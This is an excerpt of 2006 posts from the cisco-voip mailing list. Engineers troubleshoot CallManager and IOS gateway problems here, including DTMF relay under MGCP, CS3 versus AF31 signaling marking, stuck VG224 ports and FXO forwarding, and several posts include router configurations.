signaling traffic with CS3 instead of the AF31 to follow the new
standard.

How can I make this change and do you have any documents or links
related to this subject.

Many Thanks

Waleed Samir





 

 

 

 

________________________________

Disclaimer:

This e-mail communication and any attachments may contain
confidential and privileged information and is for use by the
designated addressee(s) named above only. If you are not the
intended addressee, you are hereby notified that you have received
this communication in error and that any use or reproduction of
this email or its contents is strictly prohibited and may be
unlawful. If you have received this communication in error, please
notify us immediately by replying to this message and deleting it
from your computer. Thank you. 

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From BRiley at jackhenry.com  Mon Feb 27 12:02:11 2006
From: BRiley at jackhenry.com (Bill Riley III)
Date: Mon Feb 27 12:02:31 2006
Subject: [cisco-voip] DTMF and MGCP gateway
Message-ID: <13591CB4B2359F4D96E2606DD6B840A0024B7A47@smoxchg.jhacorp.com>

 

 

I have a 2851 with a PRI into a MFT card for connectivity to the PSTN. I
also have an IVR system used for a telephone banking application. The
customer calls a pilot number associated with the PRI and it gets
translated to an internal hunt group. There are four DN's in the hunt
group connected to ATA's which terminate into the IVR system. Everything
was working fine until the gateway was converted from H.323 to MGCP in
order to facilitate a request by the customer. Now we are getting
complaints that the IVR system is not understanding certain digits the
when the customer is trying to input their account number. I have this
same ATA to the IVR system setup running at a few other customers using
H.323 with no problems and we did not have any complaints until the
switch to MGCP.  I have not been able to track down if it is specific
digits but the problem seems sporadic, some times the customer gets in
and sometimes they do not. Here are some sections of the router config.
I am running CCM 4.1.3. Any help would be appreciated. 

 

 

network-clock-participate wic 1 

network-clock-select 1 T1 0/1/0

ip subnet-zero

no ip source-route

 

voice class codec 100

 codec preference 1 g711ulaw

 codec preference 2 g729r8

!

!

!

voice class h323 100

 h225 timeout tcp establish 3

!

!

!

voice class dualtone-detect-params 90

 freq-max-power 6

 freq-min-power 25

 freq-power-twist 15

 freq-max-delay 16

 cadence-variation 8

!

controller T1 0/1/0

 framing esf

 linecode b8zs

 pri-group timeslots 1-24 service mgcp

!

interface Serial0/1/0:23

 no ip address

 isdn switch-type primary-ni

 isdn incoming-voice voice

 isdn bind-l3 ccm-manager

 no cdp enable

 

ccm-manager redundant-host 10.10.1.10

ccm-manager mgcp

ccm-manager music-on-hold

ccm-manager config server 10.10.1.11  

ccm-manager config

!

mgcp

mgcp call-agent 10.10.1.11 2427 service-type mgcp version 0.1

mgcp dtmf-relay voip codec all mode out-of-band

mgcp rtp unreachable timeout 1000 action notify

mgcp modem passthrough voip mode nse

mgcp package-capability rtp-package

no mgcp package-capability res-package

mgcp package-capability sst-package

no mgcp package-capability fxr-package

mgcp package-capability pre-package

no mgcp timer receive-rtcp

mgcp sdp simple

mgcp fax t38 inhibit

mgcp rtp payload-type g726r16 static

mgcp bind control source-interface Loopback0

mgcp bind media source-interface Loopback0

!

mgcp profile default

 

Thanks,

Bill Riley

 

 

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From wsisk at cisco.com  Mon Feb 27 12:13:01 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Mon Feb 27 12:13:16 2006
Subject: [cisco-voip] DTMF and MGCP gateway
In-Reply-To: <13591CB4B2359F4D96E2606DD6B840A0024B7A47@smoxchg.jhacorp.com>
References: <13591CB4B2359F4D96E2606DD6B840A0024B7A47@smoxchg.jhacorp.com>
Message-ID: <4403331D.3070804@cisco.com>

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From BRiley at jackhenry.com  Mon Feb 27 12:15:01 2006
From: BRiley at jackhenry.com (Bill Riley III)
Date: Mon Feb 27 12:15:22 2006
Subject: [cisco-voip] DTMF and MGCP gateway
Message-ID: <13591CB4B2359F4D96E2606DD6B840A0024B7A48@smoxchg.jhacorp.com>

I was using dtmf-relay h245-alphanumeric with the H.323 gateway. The
ATA's are using SCCP. 

 

________________________________

From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Monday, February 27, 2006 11:13 AM
To: Bill Riley III
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] DTMF and MGCP gateway

 

with this command:
mgcp dtmf-relay voip codec all mode out-of-band

the router is using the same DSP commands to recognize inband tones and
take them out of band so long as h323 was also configured to use
dtmf-relay h245-alphanumeric.  If you were not using dtmf-relay under
h323, your signaling would have remained inband (in the audio channel).

With out of band relay, are your ATA's using sccp or h323? If SCCP, SCCP
only provides for a DTMF, and not a duration.  With h323 gateways if you
use h245-signal, you get DTMF relayed OOB with both a digit and a
duration.  There is a CCM service parameter to modify digit duration for
h323 with h245-signal DTMF relay is used.  

/Wes

Bill Riley III wrote: 

 

 

I have a 2851 with a PRI into a MFT card for connectivity to the PSTN. I
also have an IVR system used for a telephone banking application. The
customer calls a pilot number associated with the PRI and it gets
translated to an internal hunt group. There are four DN's in the hunt
group connected to ATA's which terminate into the IVR system. Everything
was working fine until the gateway was converted from H.323 to MGCP in
order to facilitate a request by the customer. Now we are getting
complaints that the IVR system is not understanding certain digits the
when the customer is trying to input their account number. I have this
same ATA to the IVR system setup running at a few other customers using
H.323 with no problems and we did not have any complaints until the
switch to MGCP.  I have not been able to track down if it is specific
digits but the problem seems sporadic, some times the customer gets in
and sometimes they do not. Here are some sections of the router config.
I am running CCM 4.1.3. Any help would be appreciated. 

 

 

network-clock-participate wic 1 

network-clock-select 1 T1 0/1/0

ip subnet-zero

no ip source-route

 

voice class codec 100

 codec preference 1 g711ulaw

 codec preference 2 g729r8

!

!

!

voice class h323 100

 h225 timeout tcp establish 3

!

!

!

voice class dualtone-detect-params 90

 freq-max-power 6

 freq-min-power 25

 freq-power-twist 15

 freq-max-delay 16

 cadence-variation 8

!

controller T1 0/1/0

 framing esf

 linecode b8zs

 pri-group timeslots 1-24 service mgcp

!

interface Serial0/1/0:23

 no ip address

 isdn switch-type primary-ni

 isdn incoming-voice voice

 isdn bind-l3 ccm-manager

 no cdp enable

 

ccm-manager redundant-host 10.10.1.10

ccm-manager mgcp

ccm-manager music-on-hold

ccm-manager config server 10.10.1.11  

ccm-manager config

!

mgcp

mgcp call-agent 10.10.1.11 2427 service-type mgcp version 0.1

mgcp dtmf-relay voip codec all mode out-of-band

mgcp rtp unreachable timeout 1000 action notify

mgcp modem passthrough voip mode nse

mgcp package-capability rtp-package

no mgcp package-capability res-package

mgcp package-capability sst-package

no mgcp package-capability fxr-package

mgcp package-capability pre-package

no mgcp timer receive-rtcp

mgcp sdp simple

mgcp fax t38 inhibit

mgcp rtp payload-type g726r16 static

mgcp bind control source-interface Loopback0

mgcp bind media source-interface Loopback0

!

mgcp profile default

 

Thanks,

Bill Riley

 

 

 



________________________________



 
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip
  
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From jonvoip at gmail.com  Mon Feb 27 13:26:49 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb 27 13:26:54 2006
Subject: [cisco-voip] VG224 port stuck in S_WAIT_RELEASE
Message-ID: <5d093f9a0602271026uf7a6a6mf1a36e0ee13df515@mail.gmail.com>

VG224 running 12.4.2T

Port is stuck in S_WAIT_RELEASE

A shut/no shut has no effect...


Any ideas?



Jonathan
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From bcarter at sentinel.com  Mon Feb 27 13:28:16 2006
From: bcarter at sentinel.com (Carter, Bill)
Date: Mon Feb 27 13:28:29 2006
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
Message-ID: <6A0744639B86DD459433108DBF101D26E16D28@MAIL01.sentinel.com>

CS3 = AF24
 
IP Precedence 3    = 011
CS3                       = 011000
AF24                      = 011000
AF31                      = 011010
AF32                      = 011100
AF33                      = 011110
 
In the IP Precedence world only the first 3 bits are used (0-2).
In the DSCP world six bits are used (0-5)
DSCP Class of Service uses six bits. First 3 define queuing class, and
the last 3 are 0 (3-5)
DSCP Assured Forward uses six bits.  First 3 define queuing class (0-2),
last 3 define drop Precedence (3-5).
 
The last 3 bits signify drop preference.
XXX010 = Low Drop Probability
XXX100 = Medium Drop Probability
XXX110 = High Drop Probability
 
In the DSCP standard, Assured Forwarding (AF) has two parts, the first
defines queuing placement (bits 0-2), the second defines drop precedence
(bits 3-5).   Class Selector (CS) only defines queuing placement (bits
0-2).  The remaining 3 bits are left at 0 (bits 3-5).
 
Thus DSCP (CS and AF) supports backward compatibility for devices that
only support IP Precedence.  Since the DSCP first 3 bits define class of
service which maps to IP Precedence classes.  When a device not
supporting DSCP receives a packet with DSCP marking, it will read the
first 3 bits and treat the packet as if it was marked with IP
Precedence.
 
I can't find a statement on the drop preference of a packet marked with
a CS value and the last 3 drop bits set to 0 (011000).  Under the AF
logic where "bigger-is worse"  XXX000 should have a lower drop
preference than XXX010, XXX100, or XXX110.  I don't know is this is how
network devices actually handle drop precedence is DCP.
 
I believe the standards bodies were suggesting CS3 for VoIP signaling
and Cisco was using AF31.  Frankly AF31 seems more logical. 
 
 
References: 
RFCs 2474, 2475, 2597.
"IP Telephony Self-Study Cisco DQOS Exam Certification Guide" Cisco
Press. pages 114-129.
 
 


________________________________

	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
	Sent: Monday, February 27, 2006 10:42 AM
	To: Matt Slaga (US)
	Cc: Cisco VoIP
	Subject: RE: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
	
	

	Negative Ghost Rider* in CM 4.1.3 the signaling is CS3. No
longer AF31.  This is a known change.

	 

	Scott

	 

	*My favorite quote from Top Gun the movie.

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Matt Slaga (US)
	Sent: Monday, February 27, 2006 8:32 AM
	To: Voll, Scott; Wes Sisk
	Cc: Cisco VoIP
	Subject: RE: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

	 

	I think this guy was trying to do the opposite, change the
default of DSCP af31 to CS3.

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
	Sent: Monday, February 27, 2006 11:15 AM
	To: Wes Sisk
	Cc: Cisco VoIP
	Subject: RE: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

	Why did Cisco's default change from DSCP to CS?  Are we going to
see these continue to change for all packets?  Video, audio, etc.

	 

	Scott

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
	Sent: Sunday, February 26, 2006 10:09 AM
	To: Waleed Samir
	Cc: Cisco VoIP
	Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4

	 

	there is a setting in ccmadmin under service->service parameters
to changes the DSCP bits used for various signaling.

	 

	/Wes

	 

	On Feb 26, 2006, at 10:08 AM, Waleed Samir wrote:

	
	
	
	

	Ok Thanks for your guiding

	 

	 

	
________________________________


	From: Wes Sisk [mailto:wsisk at cisco.com] 
	Sent: Sunday, February 26, 2006 5:06 PM
	To: Waleed Samir
	Subject: Re: cs3 instead of af31 in CM 3.3.4

	 

	I'm sorry, i do not answer direct questions.  If this is
regarding a TAC case please provide a number, otherwise, plese post your
question on the cisco-voip alias so everyone can benefit from the
answer.

	 

	Thank You,

	/Wes

	 

	On Feb 25, 2006, at 7:35 PM, Waleed Samir wrote:

	
	
	

	 

	Hi

	 

	I need to change the setting of the Callmanager 3.3.4 to send
the signaling traffic with CS3 instead of the AF31 to follow the new
standard.

	How can I make this change and do you have any documents or
links related to this subject.

	Many Thanks

	Waleed Samir

	
	
	

	 

	 

	 

	 

	
________________________________


	Disclaimer:
	
	This e-mail communication and any attachments may contain
	confidential and privileged information and is for use by the
	designated addressee(s) named above only. If you are not the
	intended addressee, you are hereby notified that you have
received
	this communication in error and that any use or reproduction of
	this email or its contents is strictly prohibited and may be
	unlawful. If you have received this communication in error,
please
	notify us immediately by replying to this message and deleting
it
	from your computer. Thank you. 

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From Scott.Voll at wesd.org  Mon Feb 27 13:33:45 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 27 13:33:54 2006
Subject: [cisco-voip] VG224 port stuck in S_WAIT_RELEASE
Message-ID: <D713462ED535184D830F6F6301753E7E01BE179E@VISHNU.wesd.org>

If I remember right from CIPTUG........ REBOOT.   Everyone was
complaining about this.  Can anyone confirm this.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jonathan
Charles
Sent: Monday, February 27, 2006 10:27 AM
To: Cisco Voip
Subject: [cisco-voip] VG224 port stuck in S_WAIT_RELEASE

 

VG224 running 12.4.2T

Port is stuck in S_WAIT_RELEASE

A shut/no shut has no effect...


Any ideas?



Jonathan

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From lelio at uoguelph.ca  Mon Feb 27 13:52:47 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Mon Feb 27 13:52:52 2006
Subject: [cisco-voip] VG224 port stuck in S_WAIT_RELEASE
References: <D713462ED535184D830F6F6301753E7E01BE179E@VISHNU.wesd.org>
Message-ID: <002b01c63bcf$002d36b0$30196883@cfs.uoguelph.ca>

I believe that was covered in the education sig.

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
Sanity First : Number of days with fewer than
50 messages in my inbox at the end of the day:          7
  ----- Original Message ----- 
  From: Voll, Scott 
  To: Jonathan Charles 
  Cc: Cisco VoIP 
  Sent: Monday, February 27, 2006 1:33 PM
  Subject: RE: [cisco-voip] VG224 port stuck in S_WAIT_RELEASE


  If I remember right from CIPTUG.... REBOOT.   Everyone was complaining about this.  Can anyone confirm this.

   

  Scott

   


------------------------------------------------------------------------------

  From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jonathan Charles
  Sent: Monday, February 27, 2006 10:27 AM
  To: Cisco Voip
  Subject: [cisco-voip] VG224 port stuck in S_WAIT_RELEASE

   

  VG224 running 12.4.2T

  Port is stuck in S_WAIT_RELEASE

  A shut/no shut has no effect...


  Any ideas?



  Jonathan



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From Henry.Lum at newstep.com  Mon Feb 27 13:55:23 2006
From: Henry.Lum at newstep.com (Henry Lum)
Date: Mon Feb 27 13:53:31 2006
Subject: [cisco-voip] Caller's display changed when dial through route
	point/route pattern
Message-ID: <E9024CA51D9D8042AED3FA8DC77B1241E0F3C2@mail1.newstep.com>

Hi Justin,

I don't think I understand your solution. I am using a route pattern to
add a prefix to the dialled number and send it to a SIP trunk; there is
no need to change the calling party number. How can I use the Route List
to make the caller's display not showing the prefixes that I added?

Thanks
Henry

-----Original Message-----
From: Justin Steinberg [mailto:jsteinberg at gmail.com] 
Sent: Friday, February 24, 2006 3:50 PM
To: Henry Lum
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Caller's display changed when dial through
route point/route pattern

Henry,

If you modify the calling party number on the Route List instead of
the Route Pattern the IP phone will not update it's screen.

Justin

On 2/24/06, Henry Lum <Henry.Lum at newstep.com> wrote:
>
>
> I notice that when my 7960 IP phone dials through a route point or
route
> pattern on that modifies the called party number, the display on the
> caller's device will change accordingly. Is there a way to suppress
this
> change and keep the original dialled number on the caller's display?
>
>
>
> I am running CCM 4.1(2).
>
>
>
> Thanks
>
> Henry
>
>
>
> henry lum | product development | newstep networks | 416.979.5404 x230
|
> henry.lum at newstep.com
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


From Kevin.Hart at brooks.com  Mon Feb 27 14:53:15 2006
From: Kevin.Hart at brooks.com (Hart, Kevin)
Date: Mon Feb 27 14:53:56 2006
Subject: [cisco-voip] 2821 gateways with g703 cards
Message-ID: <6FA79BD0B67DD411AAC400306E00B08C1183D20B@exchange1.helixtech.com>

Hello all,

I'm in the process of configuring two 2821 gateways to use with Call Manager
4.1.3. Both of the gateways have VWIC-IMFT-G703 E1 cards and one of the
gateways also has 3 VIC2-4FXO cards for backup. 
I started to configure the gateways with MGCP thinking I could use the
VWIC-1MFT-E1 option in Call Manager. However, I have been told by Cisco that
the VWIC-1MFT-G703 cards are not supported with MGCP and that I will have to
configure the 2821's as H323 gateways.

Does anyone have any experience, tips, pointers, gotchas, IOS example
configurations for this type of configuration?  The equipment is being
installed in Mexico with the E1 handoffs coming from Aventel.

I've included my current IOS configurations (below), which I got from this
site. 

http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_tech_note09186
a0080094636.shtml#cm33

Thanks!
Kevin


2821 with VWIC-1MFT-G703 and VIC2-4FX0
========================================
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname 28214fx0
!
boot-start-marker
boot-end-marker
!
logging buffered 51200 warnings
!
no aaa new-model
!
resource policy
!
network-clock-participate wic 0
network-clock-select 1 E1 0/0/0
ip subnet-zero
!
!
ip cef
!
!
ip domain name somedomainname.com
isdn switch-type primary-net5
!
voice-card 0
 dspfarm
!
!
controller E1 0/0/0
 framing NO-CRC4
 pri-group timeslots 1-31
!
!
!
interface GigabitEthernet0/0
 ip address X.X.X.x 255.255.255.0
 duplex auto
 speed auto
!
interface GigabitEthernet0/1
 no ip address
 shutdown
 duplex auto
 speed auto
!
interface Serial0/0/0:15
 no ip address
 isdn switch-type primary-net5
 isdn incoming-voice voice
 no cdp enable
!
ip default-gateway X.X.X.x
ip classless
ip route 0.0.0.0 0.0.0.0 X.X.X.x
!
!
control-plane
!
voice-port 0/0/0:15
!
voice-port 0/1/0
 timing hookflash-out 500
!
voice-port 0/1/1
 timing hookflash-out 500
!
voice-port 0/1/2
 timing hookflash-out 500
!
voice-port 0/1/3
 timing hookflash-out 500
!
voice-port 0/2/0
 timing hookflash-out 500
!
voice-port 0/2/1
 timing hookflash-out 500
!
voice-port 0/2/2
 timing hookflash-out 500
!
voice-port 0/2/3
 timing hookflash-out 500
!
voice-port 0/3/0
 timing hookflash-out 500
!
voice-port 0/3/1
 timing hookflash-out 500
!
voice-port 0/3/2
 timing hookflash-out 500
!
voice-port 0/3/3
 timing hookflash-out 500
!
mgcp
no mgcp package-capability res-package
no mgcp package-capability fxr-package
no mgcp timer receive-rtcp
!
!
dial-peer voice 999010 pots
 port 0/1/0
!
dial-peer voice 999011 pots
 port 0/1/1
!
dial-peer voice 999012 pots
 port 0/1/2
!
dial-peer voice 999013 pots
 port 0/1/3
!
dial-peer voice 999014 pots
 port 0/2/0
!
dial-peer voice 999015 pots
 port 0/2/1
!
dial-peer voice 999016 pots
 port 0/2/2
!
dial-peer voice 999017 pots
 port 0/2/3
!
dial-peer voice 999018 pots
 port 0/3/0
!
dial-peer voice 999019 pots
 port 0/3/1
!
dial-peer voice 999020 pots
 port 0/3/2
!
dial-peer voice 999021 pots
 port 0/3/3
!
dial-peer voice 6 voip
 destination-pattern XXXX....
 session target ipv4:X.X.X.X
 dtmf-relay h245-alphanumeric
 codec g711ulaw
!
dial-peer voice 1 pots
 destination-pattern 9T
 direct-inward-dial
 port 0/0/0:15
!
!
line con 0
 login local
line aux 0
line vty 0 4
 privilege level 15
 login local
 transport input telnet ssh
line vty 5 15
 privilege level 15
 login local
 transport input telnet ssh
!
scheduler allocate 20000 1000
!
end


2821 with VWIC-1MFT-G703
========================================
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname 2821g703
!
boot-start-marker
boot-end-marker
!
logging buffered 51200 warnings
!
no aaa new-model
!
resource policy
!
network-clock-participate wic 0
network-clock-select 1 E1 0/0/0
ip subnet-zero
!
!
ip cef
!
!
ip domain name somedomainname.com
isdn switch-type primary-net5
!
voice-card 0
 no dspfarm

!
controller E1 0/0/0
 framing NO-CRC4
 pri-group timeslots 1-31
!
!
interface GigabitEthernet0/0
 ip address X.X.X.X 255.255.255.0
 duplex auto
 speed auto
!
interface GigabitEthernet0/1
 no ip address
 shutdown
 duplex auto
 speed auto
!
interface Serial0/0/0:15
 no ip address
 isdn switch-type primary-net5
 isdn incoming-voice voice
 no cdp enable
!
ip default-gateway X.X.X.X
ip classless
ip route 0.0.0.0 0.0.0.0 X.X.X.X
!
!
control-plane
!
!
voice-port 0/0/0:15
!
!
no mgcp package-capability res-package
no mgcp package-capability fxr-package
no mgcp timer receive-rtcp
!
!
!
dial-peer voice 5 voip
 destination-pattern 8863....
 session target ipv4:192.168.73.13
 dtmf-relay h245-alphanumeric
 codec g711ulaw  
!
dial-peer voice 1 pots
 destination-pattern 9T
 direct-inward-dial
 port 0/0/0:15
!
!
!
line con 0
 login local
line aux 0
line vty 0 4
 session-timeout 25
 privilege level 15
 login local
 transport input telnet ssh
line vty 5 15
 privilege level 15
 login local
 transport input telnet ssh
!
scheduler allocate 20000 1000
!
end





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From lelio at uoguelph.ca  Mon Feb 27 16:57:03 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Mon Feb 27 16:57:08 2006
Subject: [cisco-voip] tone on hold over Intercluster trunk
Message-ID: <00b201c63be8$be6bb8e0$30196883@cfs.uoguelph.ca>

I can't seem to get tone-on-hold working across my intercluster trunk. I know this was brought up recently, but I'm not sure if that was the same problem I was having. I also don't know what the solution was if there was one.


--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
Sanity First : Number of days with fewer than
50 messages in my inbox at the end of the day:          7
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From wsisk at cisco.com  Mon Feb 27 17:21:22 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Mon Feb 27 17:21:33 2006
Subject: [cisco-voip] DTMF and MGCP gateway
In-Reply-To: <13591CB4B2359F4D96E2606DD6B840A0024B7A48@smoxchg.jhacorp.com>
References: <13591CB4B2359F4D96E2606DD6B840A0024B7A48@smoxchg.jhacorp.com>
Message-ID: <44037B62.3040502@cisco.com>

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From wsisk at cisco.com  Mon Feb 27 12:03:30 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Mon Feb 27 17:50:02 2006
Subject: [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE177B@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE177B@VISHNU.wesd.org>
Message-ID: <440330E2.9070705@cisco.com>

The ITU (i think that was the standards organization in this case) 
changed their recommendation for how signaling should be classified.

/Wes

Voll, Scott wrote:
>
> Why did Cisco?s default change from DSCP to CS? Are we going to see 
> these continue to change for all packets? Video, audio, etc.
>
> Scott
>
> ------------------------------------------------------------------------
>
> *From:* cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] *On Behalf Of *Wes Sisk
> *Sent:* Sunday, February 26, 2006 10:09 AM
> *To:* Waleed Samir
> *Cc:* Cisco VoIP
> *Subject:* [cisco-voip] Re: cs3 instead of af31 in CM 3.3.4
>
> there is a setting in ccmadmin under service->service parameters to 
> changes the DSCP bits used for various signaling.
>
> /Wes
>
> On Feb 26, 2006, at 10:08 AM, Waleed Samir wrote:
>
>
>
> Ok Thanks for your guiding
>
> ------------------------------------------------------------------------
>
> *From:* Wes Sisk [mailto:wsisk at cisco.com]
> *Sent:* Sunday, February 26, 2006 5:06 PM
> *To:* Waleed Samir
> *Subject:* Re: cs3 instead of af31 in CM 3.3.4
>
> I'm sorry, i do not answer direct questions. If this is regarding a 
> TAC case please provide a number, otherwise, plese post your question 
> on the cisco-voip alias so everyone can benefit from the answer.
>
> Thank You,
>
> /Wes
>
> On Feb 25, 2006, at 7:35 PM, Waleed Samir wrote:
>
>
>
>
> Hi
>
> I need to change the setting of the Callmanager 3.3.4 to send the 
> signaling traffic with CS3 instead of the AF31 to follow the new standard.
>
> How can I make this change and do you have any documents or links 
> related to this subject.
>
> Many Thanks
>
> Waleed Samir
>
>
>
>
>
>



From jgrace at digitelusa.net  Mon Feb 27 17:55:23 2006
From: jgrace at digitelusa.net (James Grace)
Date: Mon Feb 27 18:03:17 2006
Subject: [cisco-voip] need for incoming fxo to fwd to IP phone 
Message-ID: <200602271802562.SM01568@3729434770>

How do I get and fxo port to forward to a ext on a ip phone.    We have 1
analog line the will have in and out call   but the incoming calls need to
ring and an ip phone 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From rratliff at cisco.com  Mon Feb 27 18:05:26 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Mon Feb 27 18:05:19 2006
Subject: [cisco-voip] need for incoming fxo to fwd to IP phone 
In-Reply-To: <200602271802562.SM01568@3729434770>
References: <200602271802562.SM01568@3729434770>
Message-ID: <3060EABE-BC11-480C-AC40-2117B80E4293@cisco.com>

With H.323 configure connection plar.  With MGCP configure the  
attendant dn.

-Ryan

On Feb 27, 2006, at 5:55 PM, James Grace wrote:

How do I get and fxo port to forward to a ext on a ip phone.    We  
have 1 analog line the will have in and out call   but the incoming  
calls need to ring and an ip phone



James D. Grace

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From it at cimgroup.com  Mon Feb 27 19:20:31 2006
From: it at cimgroup.com (IT)
Date: Mon Feb 27 19:20:59 2006
Subject: [cisco-voip] need for incoming fxo to fwd to IP phone 
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02B19F35@exchange.cimgroup.com>

I have the same problem, and I configured the attendant DN, but still no
calls come through.
I have a TAC case open, but they seem to think that the analog line need
to "pass" the calling parties number...
SBC/AT&T tells me that the analog lines do not pass this info.
Any ideas?

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ryan Ratliff
Sent: Monday, February 27, 2006 3:05 PM
To: James Grace
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] need for incoming fxo to fwd to IP phone 

With H.323 configure connection plar.  With MGCP configure the  
attendant dn.

-Ryan

On Feb 27, 2006, at 5:55 PM, James Grace wrote:

How do I get and fxo port to forward to a ext on a ip phone.    We  
have 1 analog line the will have in and out call   but the incoming  
calls need to ring and an ip phone



James D. Grace

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From erickbe at yahoo.com  Mon Feb 27 19:31:58 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Mon Feb 27 19:32:10 2006
Subject: [cisco-voip] need for incoming fxo to fwd to IP phone 
In-Reply-To: <B487D4C1FE6D04439061018C6EBC109B02B19F35@exchange.cimgroup.com>
Message-ID: <20060228003159.61097.qmail@web34313.mail.mud.yahoo.com>


How is your voice-port configured, and on CCM side was
the MGCP endpoint (gateway port) reset after changes
made?  Calling Search Space set right on MGCP endpoint
in CCM? Port direction set to both directions or
something else? 

On router/gateway, do you have the ccm-manager config
commands?

When you call the number, do you get dial-tone, busy
signal, ??  Do you see the voice-port on the router
connect or show any activity at all? (show voice call
summ). 

Can you place outbound calls out this port / endpoint?


--- IT <it at cimgroup.com> wrote:

> I have the same problem, and I configured the
> attendant DN, but still no
> calls come through.
> I have a TAC case open, but they seem to think that
> the analog line need
> to "pass" the calling parties number...
> SBC/AT&T tells me that the analog lines do not pass
> this info.
> Any ideas?
> 
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On
> Behalf Of Ryan Ratliff
> Sent: Monday, February 27, 2006 3:05 PM
> To: James Grace
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] need for incoming fxo to
> fwd to IP phone 
> 
> With H.323 configure connection plar.  With MGCP
> configure the  
> attendant dn.
> 
> -Ryan
> 
> On Feb 27, 2006, at 5:55 PM, James Grace wrote:
> 
> How do I get and fxo port to forward to a ext on a
> ip phone.    We  
> have 1 analog line the will have in and out call  
> but the incoming  
> calls need to ring and an ip phone
> 
> 
> 
> James D. Grace
> 
> CCNP CCNA MCSE MCDBA
> 
> Sr. System Engineer / Professional Svc.
> 
> Digitel Corporation
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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From it at cimgroup.com  Mon Feb 27 19:38:46 2006
From: it at cimgroup.com (IT)
Date: Mon Feb 27 19:39:13 2006
Subject: [cisco-voip] need for incoming fxo to fwd to IP phone 
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02B19F5E@exchange.cimgroup.com>

See my answers below:


How is your voice-port configured, and on CCM side was
the MGCP endpoint (gateway port) reset after changes
made? 
Loop start with no battery-reversal. Yes, it was reset.

 Calling Search Space set right on MGCP endpoint
in CCM? 
Yes.

Port direction set to both directions or
something else?  Both directions

On router/gateway, do you have the ccm-manager config
commands?
ccm-manager fallback-mgcp
ccm-manager mgcp
ccm-manager music-on-hold
